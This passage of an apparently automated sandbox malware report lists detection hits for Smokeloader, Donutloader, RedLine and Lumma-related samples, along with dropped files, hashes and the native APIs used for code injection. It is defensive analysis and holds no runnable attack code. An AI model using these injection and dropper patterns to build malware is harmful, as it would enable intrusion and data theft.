Source: 00000012.00000002.4106101148.0000000000060000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 00000019.00000002.3260078878.0000000006010000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 00000013.00000002.3185231236.0000000003860000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 00000000.00000002.1732147386.00000000040B1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000012.00000002.4114154243.00000000029E0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Detects executables attemping to enumerate video devices using WMI Author: ditekSHen
Source: 00000019.00000002.3248787304.0000000004E40000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Detects executables attemping to enumerate video devices using WMI Author: ditekSHen
Source: 00000000.00000002.1731925508.00000000026E0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000013.00000002.3151962784.0000000000060000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 00000003.00000002.1964603084.0000000004090000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000000.00000002.1732060091.000000000272D000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000003.00000002.1964408969.0000000002560000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000019.00000002.3139489097.00000000005C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Found suspicious ZIP file
Source: venom.zip.14.dr Zip Entry: runvm.bat
Source: lumma.zip.14.dr Zip Entry: run.bat
Powershell drops PE file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\Local\Temp\ExtractedLumma\g2m.dll Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\Local\Temp\ExtractedVenom\g2m.dll Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Jump to dropped file
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Source: C:\Windows\System32\wscript.exe COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}
Abnormal high CPU Usage
Source: C:\Windows\explorer.exe Process Stats: CPU usage > 49%
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Memory allocated: 75D90000 page execute and read and write
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe Memory allocated: 75D90000 page execute and read and write
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Memory allocated: 75D90000 page execute and read and write
Contains functionality to call native functions
Source: C:\Users\user\Desktop\FpiUD4nYpj.exe Code function: 0_2_00401513 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection, 0_2_00401513
Source: C:\Users\user\Desktop\FpiUD4nYpj.exe Code function: 0_2_00402FD3 RtlCreateUserThread,NtTerminateProcess, 0_2_00402FD3
Source: C:\Users\user\Desktop\FpiUD4nYpj.exe Code function: 0_2_0040267C NtEnumerateKey, 0_2_0040267C
Source: C:\Users\user\Desktop\FpiUD4nYpj.exe Code function: 0_2_004020C4 LocalAlloc,NtQuerySystemInformation, 0_2_004020C4
Source: C:\Users\user\Desktop\FpiUD4nYpj.exe Code function: 0_2_004026DC NtClose, 0_2_004026DC
Source: C:\Users\user\Desktop\FpiUD4nYpj.exe Code function: 0_2_004020E3 LocalAlloc,NtQuerySystemInformation, 0_2_004020E3
Source: C:\Users\user\Desktop\FpiUD4nYpj.exe Code function: 0_2_004020E7 LocalAlloc,NtQuerySystemInformation, 0_2_004020E7
Source: C:\Users\user\Desktop\FpiUD4nYpj.exe Code function: 0_2_004020FC LocalAlloc,NtQuerySystemInformation, 0_2_004020FC
Source: C:\Users\user\Desktop\FpiUD4nYpj.exe Code function: 0_2_00402285 NtQuerySystemInformation, 0_2_00402285
Source: C:\Users\user\Desktop\FpiUD4nYpj.exe Code function: 0_2_004020B6 LocalAlloc,NtQuerySystemInformation, 0_2_004020B6
Source: C:\Users\user\Desktop\FpiUD4nYpj.exe Code function: 0_2_004020B8 LocalAlloc,NtQuerySystemInformation, 0_2_004020B8
Source: C:\Users\user\Desktop\FpiUD4nYpj.exe Code function: 0_2_00403149 RtlCreateUserThread,NtTerminateProcess, 0_2_00403149
Source: C:\Users\user\Desktop\FpiUD4nYpj.exe Code function: 0_2_00401553 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection, 0_2_00401553
Source: C:\Users\user\Desktop\FpiUD4nYpj.exe Code function: 0_2_00403303 NtTerminateProcess,GetModuleHandleA,CreateFileW,GetForegroundWindow,wcsstr, 0_2_00403303
Source: C:\Users\user\Desktop\FpiUD4nYpj.exe Code function: 0_2_0040151E NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection, 0_2_0040151E
Source: C:\Users\user\Desktop\FpiUD4nYpj.exe Code function: 0_2_004025DD NtOpenKey, 0_2_004025DD
Source: C:\Users\user\AppData\Roaming\jjistfr Code function: 3_2_00401513 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection, 3_2_00401513
Source: C:\Users\user\AppData\Roaming\jjistfr Code function: 3_2_00402FD3 RtlCreateUserThread,NtTerminateProcess, 3_2_00402FD3
Source: C:\Users\user\AppData\Roaming\jjistfr Code function: 3_2_0040267C NtEnumerateKey, 3_2_0040267C
Source: C:\Users\user\AppData\Roaming\jjistfr Code function: 3_2_004020C4 LocalAlloc,NtQuerySystemInformation, 3_2_004020C4
Source: C:\Users\user\AppData\Roaming\jjistfr Code function: 3_2_004026DC NtClose, 3_2_004026DC
Source: C:\Users\user\AppData\Roaming\jjistfr Code function: 3_2_004020E3 LocalAlloc,NtQuerySystemInformation, 3_2_004020E3
Source: C:\Users\user\AppData\Roaming\jjistfr Code function: 3_2_004020E7 LocalAlloc,NtQuerySystemInformation, 3_2_004020E7
Source: C:\Users\user\AppData\Roaming\jjistfr Code function: 3_2_004020FC LocalAlloc,NtQuerySystemInformation, 3_2_004020FC
Source: C:\Users\user\AppData\Roaming\jjistfr Code function: 3_2_00402285 NtQuerySystemInformation, 3_2_00402285
Source: C:\Users\user\AppData\Roaming\jjistfr Code function: 3_2_004020B6 LocalAlloc,NtQuerySystemInformation, 3_2_004020B6
Source: C:\Users\user\AppData\Roaming\jjistfr Code function: 3_2_004020B8 LocalAlloc,NtQuerySystemInformation, 3_2_004020B8
Source: C:\Users\user\AppData\Roaming\jjistfr Code function: 3_2_00403149 RtlCreateUserThread,NtTerminateProcess, 3_2_00403149
Source: C:\Users\user\AppData\Roaming\jjistfr Code function: 3_2_00401553 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection, 3_2_00401553
Source: C:\Users\user\AppData\Roaming\jjistfr Code function: 3_2_00403303 NtTerminateProcess,GetModuleHandleA,CreateFileW,GetForegroundWindow,wcsstr, 3_2_00403303
Source: C:\Users\user\AppData\Roaming\jjistfr Code function: 3_2_0040151E NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection, 3_2_0040151E
Source: C:\Users\user\AppData\Roaming\jjistfr Code function: 3_2_004025DD NtOpenKey, 3_2_004025DD
Source: C:\Users\user\AppData\Local\Temp\2FBE.exe Code function: 6_2_00007FF7648A6900 RtlAllocateHeap,RtlAllocateHeap,NtQuerySystemInformation, 6_2_00007FF7648A6900
Source: C:\Users\user\AppData\Local\Temp\2FBE.exe Code function: 6_2_00007FF7648C59D0 NtProtectVirtualMemory, 6_2_00007FF7648C59D0
Source: C:\Users\user\AppData\Local\Temp\2FBE.exe Code function: 6_2_00007FF7648C4FC0 NtReadVirtualMemory, 6_2_00007FF7648C4FC0
Source: C:\Users\user\AppData\Local\Temp\2FBE.exe Code function: 6_2_00007FF7648C3F30 NtQueryInformationProcess, 6_2_00007FF7648C3F30
Source: C:\Users\user\AppData\Local\Temp\2FBE.exe Code function: 6_2_00007FF7648C5100 NtWriteVirtualMemory, 6_2_00007FF7648C5100
Source: C:\Users\user\AppData\Local\Temp\2FBE.exe Code function: 6_2_00007FF7648C5260 NtAllocateVirtualMemory, 6_2_00007FF7648C5260
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Code function: 18_2_6CA77370 NtReadFile,WaitForSingleObject,RtlNtStatusToDosError, 18_2_6CA77370
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Code function: 18_2_6CA77490 NtWriteFile,WaitForSingleObject,RtlNtStatusToDosError, 18_2_6CA77490
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Code function: 18_2_02A02A98 NtProtectVirtualMemory, 18_2_02A02A98
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Code function: 18_2_02A02640 NtProtectVirtualMemory, 18_2_02A02640
Detected potential crypto function
Source: C:\Users\user\AppData\Local\Temp\2FBE.exe Code function: 6_2_00007FF76487E810 6_2_00007FF76487E810
Source: C:\Users\user\AppData\Local\Temp\2FBE.exe Code function: 6_2_00007FF7648A43B0 6_2_00007FF7648A43B0
Source: C:\Users\user\AppData\Local\Temp\2FBE.exe Code function: 6_2_00007FF76487D7A0 6_2_00007FF76487D7A0
Source: C:\Users\user\AppData\Local\Temp\2FBE.exe Code function: 6_2_00007FF76488A9D0 6_2_00007FF76488A9D0
Source: C:\Users\user\AppData\Local\Temp\2FBE.exe Code function: 6_2_00007FF7648DDFD0 6_2_00007FF7648DDFD0
Source: C:\Users\user\AppData\Local\Temp\2FBE.exe Code function: 6_2_00007FF7648A57C0 6_2_00007FF7648A57C0
Source: C:\Users\user\AppData\Local\Temp\2FBE.exe Code function: 6_2_00007FF7648B6DF0 6_2_00007FF7648B6DF0
Source: C:\Users\user\AppData\Local\Temp\2FBE.exe Code function: 6_2_00007FF7648B11F0 6_2_00007FF7648B11F0
Source: C:\Users\user\AppData\Local\Temp\2FBE.exe Code function: 6_2_00007FF7648E49F0 6_2_00007FF7648E49F0
Source: C:\Users\user\AppData\Local\Temp\2FBE.exe Code function: 6_2_00007FF76487CFF0 6_2_00007FF76487CFF0
Source: C:\Users\user\AppData\Local\Temp\2FBE.exe Code function: 6_2_00007FF764874BF0 6_2_00007FF764874BF0
Source: C:\Users\user\AppData\Local\Temp\2FBE.exe Code function: 6_2_00007FF7648A6DE0 6_2_00007FF7648A6DE0
Source: C:\Users\user\AppData\Local\Temp\2FBE.exe Code function: 6_2_00007FF7648929E0 6_2_00007FF7648929E0
Source: C:\Users\user\AppData\Local\Temp\2FBE.exe Code function: 6_2_00007FF76488FC10 6_2_00007FF76488FC10
Source: C:\Users\user\AppData\Local\Temp\2FBE.exe Code function: 6_2_00007FF7648C2010 6_2_00007FF7648C2010
Source: C:\Users\user\AppData\Local\Temp\2FBE.exe Code function: 6_2_00007FF7648B8C10 6_2_00007FF7648B8C10
Source: C:\Users\user\AppData\Local\Temp\2FBE.exe Code function: 6_2_00007FF7648D4E10 6_2_00007FF7648D4E10
Source: C:\Users\user\AppData\Local\Temp\2FBE.exe Code function: 6_2_00007FF764884E00 6_2_00007FF764884E00
Source: C:\Users\user\AppData\Local\Temp\2FBE.exe Code function: 6_2_00007FF76486C400 6_2_00007FF76486C400
Source: C:\Users\user\AppData\Local\Temp\2FBE.exe Code function: 6_2_00007FF764877000 6_2_00007FF764877000
Source: C:\Users\user\AppData\Local\Temp\2FBE.exe Code function: 6_2_00007FF76486BC00 6_2_00007FF76486BC00
Source: C:\Users\user\AppData\Local\Temp\2FBE.exe Code function: 6_2_00007FF7648E3F20 6_2_00007FF7648E3F20
Source: C:\Users\user\AppData\Local\Temp\2FBE.exe Code function: 6_2_00007FF764871920 6_2_00007FF764871920
Source: C:\Users\user\AppData\Local\Temp\2FBE.exe Code function: 6_2_00007FF7648A3150 6_2_00007FF7648A3150
Source: C:\Users\user\AppData\Local\Temp\2FBE.exe Code function: 6_2_00007FF7648A9550 6_2_00007FF7648A9550
Source: C:\Users\user\AppData\Local\Temp\2FBE.exe Code function: 6_2_00007FF764890740 6_2_00007FF764890740
Source: C:\Users\user\AppData\Local\Temp\2FBE.exe Code function: 6_2_00007FF7648D5D40 6_2_00007FF7648D5D40
Source: C:\Users\user\AppData\Local\Temp\2FBE.exe Code function: 6_2_00007FF7648C4370 6_2_00007FF7648C4370
Source: C:\Users\user\AppData\Local\Temp\2FBE.exe Code function: 6_2_00007FF7648BF370 6_2_00007FF7648BF370
Source: C:\Users\user\AppData\Local\Temp\2FBE.exe Code function: 6_2_00007FF7648E6B70 6_2_00007FF7648E6B70
Source: C:\Users\user\AppData\Local\Temp\2FBE.exe Code function: 6_2_00007FF76486FB70 6_2_00007FF76486FB70
Source: C:\Users\user\AppData\Local\Temp\2FBE.exe Code function: 6_2_00007FF7648B7D60 6_2_00007FF7648B7D60
Source: C:\Users\user\AppData\Local\Temp\2FBE.exe Code function: 6_2_00007FF76488D390 6_2_00007FF76488D390
Source: C:\Users\user\AppData\Local\Temp\2FBE.exe Code function: 6_2_00007FF7648C898B 6_2_00007FF7648C898B
Source: C:\Users\user\AppData\Local\Temp\2FBE.exe Code function: 6_2_00007FF7648C5B80 6_2_00007FF7648C5B80
Source: C:\Users\user\AppData\Local\Temp\2FBE.exe Code function: 6_2_00007FF7648AB6B0 6_2_00007FF7648AB6B0
Source: C:\Users\user\AppData\Local\Temp\2FBE.exe Code function: 6_2_00007FF7648E8AB0 6_2_00007FF7648E8AB0
Source: C:\Users\user\AppData\Local\Temp\2FBE.exe Code function: 6_2_00007FF76487BAB0 6_2_00007FF76487BAB0
Source: C:\Users\user\AppData\Local\Temp\2FBE.exe Code function: 6_2_00007FF76488B6A0 6_2_00007FF76488B6A0
Source: C:\Users\user\AppData\Local\Temp\2FBE.exe Code function: 6_2_00007FF7648664A0 6_2_00007FF7648664A0
Source: C:\Users\user\AppData\Local\Temp\2FBE.exe Code function: 6_2_00007FF7648A04D0 6_2_00007FF7648A04D0
Source: C:\Users\user\AppData\Local\Temp\2FBE.exe Code function: 6_2_00007FF764865AD4 6_2_00007FF764865AD4
Source: C:\Users\user\AppData\Local\Temp\2FBE.exe Code function: 6_2_00007FF764883AD0 6_2_00007FF764883AD0
Source: C:\Users\user\AppData\Local\Temp\2FBE.exe Code function: 6_2_00007FF764875ED0 6_2_00007FF764875ED0
Source: C:\Users\user\AppData\Local\Temp\2FBE.exe Code function: 6_2_00007FF7648E16C0 6_2_00007FF7648E16C0
Source: C:\Users\user\AppData\Local\Temp\2FBE.exe Code function: 6_2_00007FF76486A0F0 6_2_00007FF76486A0F0
Source: C:\Users\user\AppData\Local\Temp\2FBE.exe Code function: 6_2_00007FF7648A1510 6_2_00007FF7648A1510
Source: C:\Users\user\AppData\Local\Temp\2FBE.exe Code function: 6_2_00007FF764875910 6_2_00007FF764875910
Source: C:\Users\user\AppData\Local\Temp\2FBE.exe Code function: 6_2_00007FF7648C1700 6_2_00007FF7648C1700
Source: C:\Users\user\AppData\Local\Temp\2FBE.exe Code function: 6_2_00007FF764899830 6_2_00007FF764899830
Source: C:\Users\user\AppData\Local\Temp\2FBE.exe Code function: 6_2_00007FF7648BE430 6_2_00007FF7648BE430
Source: C:\Users\user\AppData\Local\Temp\2FBE.exe Code function: 6_2_00007FF7648DC230 6_2_00007FF7648DC230
Source: C:\Users\user\AppData\Local\Temp\2FBE.exe Code function: 6_2_00007FF764873E30 6_2_00007FF764873E30
Source: C:\Users\user\AppData\Local\Temp\2FBE.exe Code function: 6_2_00007FF7648BB020 6_2_00007FF7648BB020
Source: C:\Users\user\AppData\Local\Temp\2FBE.exe Code function: 6_2_00007FF764861450 6_2_00007FF764861450
Source: C:\Users\user\AppData\Local\Temp\2FBE.exe Code function: 6_2_00007FF764870050 6_2_00007FF764870050
Source: C:\Users\user\AppData\Local\Temp\2FBE.exe Code function: 6_2_00007FF7648BCC40 6_2_00007FF7648BCC40
Source: C:\Users\user\AppData\Local\Temp\2FBE.exe Code function: 6_2_00007FF7648B5860 6_2_00007FF7648B5860
Source: C:\Users\user\AppData\Local\Temp\2FBE.exe Code function: 6_2_00007FF764891880 6_2_00007FF764891880
Source: C:\Users\user\AppData\Local\Temp\2FBE.exe Code function: 6_2_00007FF7648B3E80 6_2_00007FF7648B3E80
Source: C:\Users\user\AppData\Local\Temp\2FBE.exe Code function: 6_2_00007FF7648B2080 6_2_00007FF7648B2080
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Code function: 10_2_00007FFD9B9A3420 10_2_00007FFD9B9A3420
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Code function: 10_2_00007FFD9B9A4186 10_2_00007FFD9B9A4186
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Code function: 10_2_00007FFD9B9A51C6 10_2_00007FFD9B9A51C6
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Code function: 10_2_00007FFD9B9A4742 10_2_00007FFD9B9A4742
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Code function: 10_2_00007FFD9B9B08E8 10_2_00007FFD9B9B08E8
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Code function: 10_2_00007FFD9B9B0F0D 10_2_00007FFD9B9B0F0D
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Code function: 12_2_00007FFD9B9A3420 12_2_00007FFD9B9A3420
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Code function: 12_2_00007FFD9B9A3C24 12_2_00007FFD9B9A3C24
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Code function: 12_2_00007FFD9B9A4186 12_2_00007FFD9B9A4186
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Code function: 12_2_00007FFD9B9A51C6 12_2_00007FFD9B9A51C6
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Code function: 12_2_00007FFD9B9A4742 12_2_00007FFD9B9A4742
Source: C:\Users\user\AppData\Local\Temp\BD9E.exe Code function: 12_2_00007FFD9B9A48AC 12_2_00007FFD9B9A48AC
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 13_2_00757189 13_2_00757189
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 13_2_007452E0 13_2_007452E0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 13_2_00762290 13_2_00762290
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 13_2_00761B52 13_2_00761B52
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 13_2_00751B25 13_2_00751B25
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 13_2_0075EC40 13_2_0075EC40
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 13_2_00773CD0 13_2_00773CD0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 13_2_0077CD40 13_2_0077CD40
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 13_2_00766F80 13_2_00766F80
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 13_2_0077B840 13_2_0077B840
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 13_2_0077D010 13_2_0077D010
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 13_2_00766F80 13_2_00766F80
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 13_2_00766890 13_2_00766890
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 13_2_0075E086 13_2_0075E086
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 13_2_00778880 13_2_00778880
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 13_2_00748960 13_2_00748960
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 13_2_0077B160 13_2_0077B160
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 13_2_00744900 13_2_00744900
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 13_2_0077A9E4 13_2_0077A9E4
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 13_2_007629C9 13_2_007629C9
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 13_2_007641A0 13_2_007641A0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 13_2_0074C270 13_2_0074C270
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 13_2_00747270 13_2_00747270
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 13_2_00766210 13_2_00766210
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 13_2_007572DD 13_2_007572DD
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 13_2_007582CB 13_2_007582CB
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 13_2_00746B70 13_2_00746B70
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 13_2_0077B350 13_2_0077B350
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 13_2_0077D340 13_2_0077D340
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 13_2_0074FB10 13_2_0074FB10
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 13_2_00764BF0 13_2_00764BF0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 13_2_007633B6 13_2_007633B6
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 13_2_0075EC06 13_2_0075EC06
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 13_2_00760CB7 13_2_00760CB7
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 13_2_00745DE0 13_2_00745DE0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 13_2_00743DD0 13_2_00743DD0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 13_2_0077B5A0 13_2_0077B5A0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 13_2_00753678 13_2_00753678
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 13_2_00754E68 13_2_00754E68
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 13_2_00755E97 13_2_00755E97
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 13_2_00773680 13_2_00773680
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 13_2_00741F10 13_2_00741F10
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 13_2_00783710 13_2_00783710
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 13_2_0077B700 13_2_0077B700
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 13_2_00763F97 13_2_00763F97
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 14_2_00007FFD9B9863FB 14_2_00007FFD9B9863FB
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 14_2_00007FFD9B986350 14_2_00007FFD9B986350
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 14_2_00007FFD9B980CF2 14_2_00007FFD9B980CF2
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Code function: 18_2_6CA77CC0 18_2_6CA77CC0
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Code function: 18_2_6CA74CD0 18_2_6CA74CD0
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Code function: 18_2_6CA95CD4 18_2_6CA95CD4
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Code function: 18_2_6CA81C21 18_2_6CA81C21
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Code function: 18_2_6CA84DE0 18_2_6CA84DE0
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Code function: 18_2_6CA88D6E 18_2_6CA88D6E
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Code function: 18_2_6CA78E20 18_2_6CA78E20
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Code function: 18_2_6CA82890 18_2_6CA82890
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Code function: 18_2_6CA84930 18_2_6CA84930
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Code function: 18_2_6CA72B21 18_2_6CA72B21
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Code function: 18_2_6CA7D5D0 18_2_6CA7D5D0
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Code function: 18_2_6CA7C010 18_2_6CA7C010
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Code function: 18_2_6CA792D0 18_2_6CA792D0
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Code function: 18_2_6CA80210 18_2_6CA80210
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Code function: 18_2_00078C7E 18_2_00078C7E
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Code function: 18_2_02A0EFC0 18_2_02A0EFC0
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Code function: 18_2_02A01EC8 18_2_02A01EC8
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Code function: 18_2_02A02640 18_2_02A02640
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Code function: 18_2_02A01EB8 18_2_02A01EB8
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Code function: 18_2_05FF90B1 18_2_05FF90B1
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Code function: 18_2_05FF077C 18_2_05FF077C
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Code function: 18_2_05FF23C8 18_2_05FF23C8
Dropped file seen in connection with other malware
Source: Joe Sandbox View Dropped File: C:\Users\user\AppData\Local\Temp\2FBE.exe AF252D8F2C1166000A47BC52A23BA6DBEE07EE4ADF4DE833F633A33DB2AA2152
Source: Joe Sandbox View Dropped File: C:\Users\user\AppData\Local\Temp\34CA.exe 505968DFF5E73B6DB05CAAA86EA34633140EC3B7BB75B19167AF7CE4AF641259
Found potential string decryption / allocating functions
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: String function: 007493B0 appears 39 times
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: String function: 0074FCA0 appears 202 times
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Code function: String function: 6CA88D20 appears 35 times
One or more processes crash
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5252 -s 1128
PE file contains more sections than normal
Source: 34CA.exe.1.dr Static PE information: Number of sections : 12 > 10
PE file does not import any functions
Source: 2FBE.exe.1.dr Static PE information: No import functions for PE file found
Source: BD9E.exe.1.dr Static PE information: No import functions for PE file found
Sample file is different than original file name gathered from version info
Source: FpiUD4nYpj.exe, 00000000.00000002.1731701936.0000000002448000.00000002.00000001.01000000.00000003.sdmp Binary or memory string: OriginalFilenamesOdilesigo@ vs FpiUD4nYpj.exe
Source: FpiUD4nYpj.exe Binary or memory string: OriginalFilenamesOdilesigo@ vs FpiUD4nYpj.exe
Uses 32bit PE files
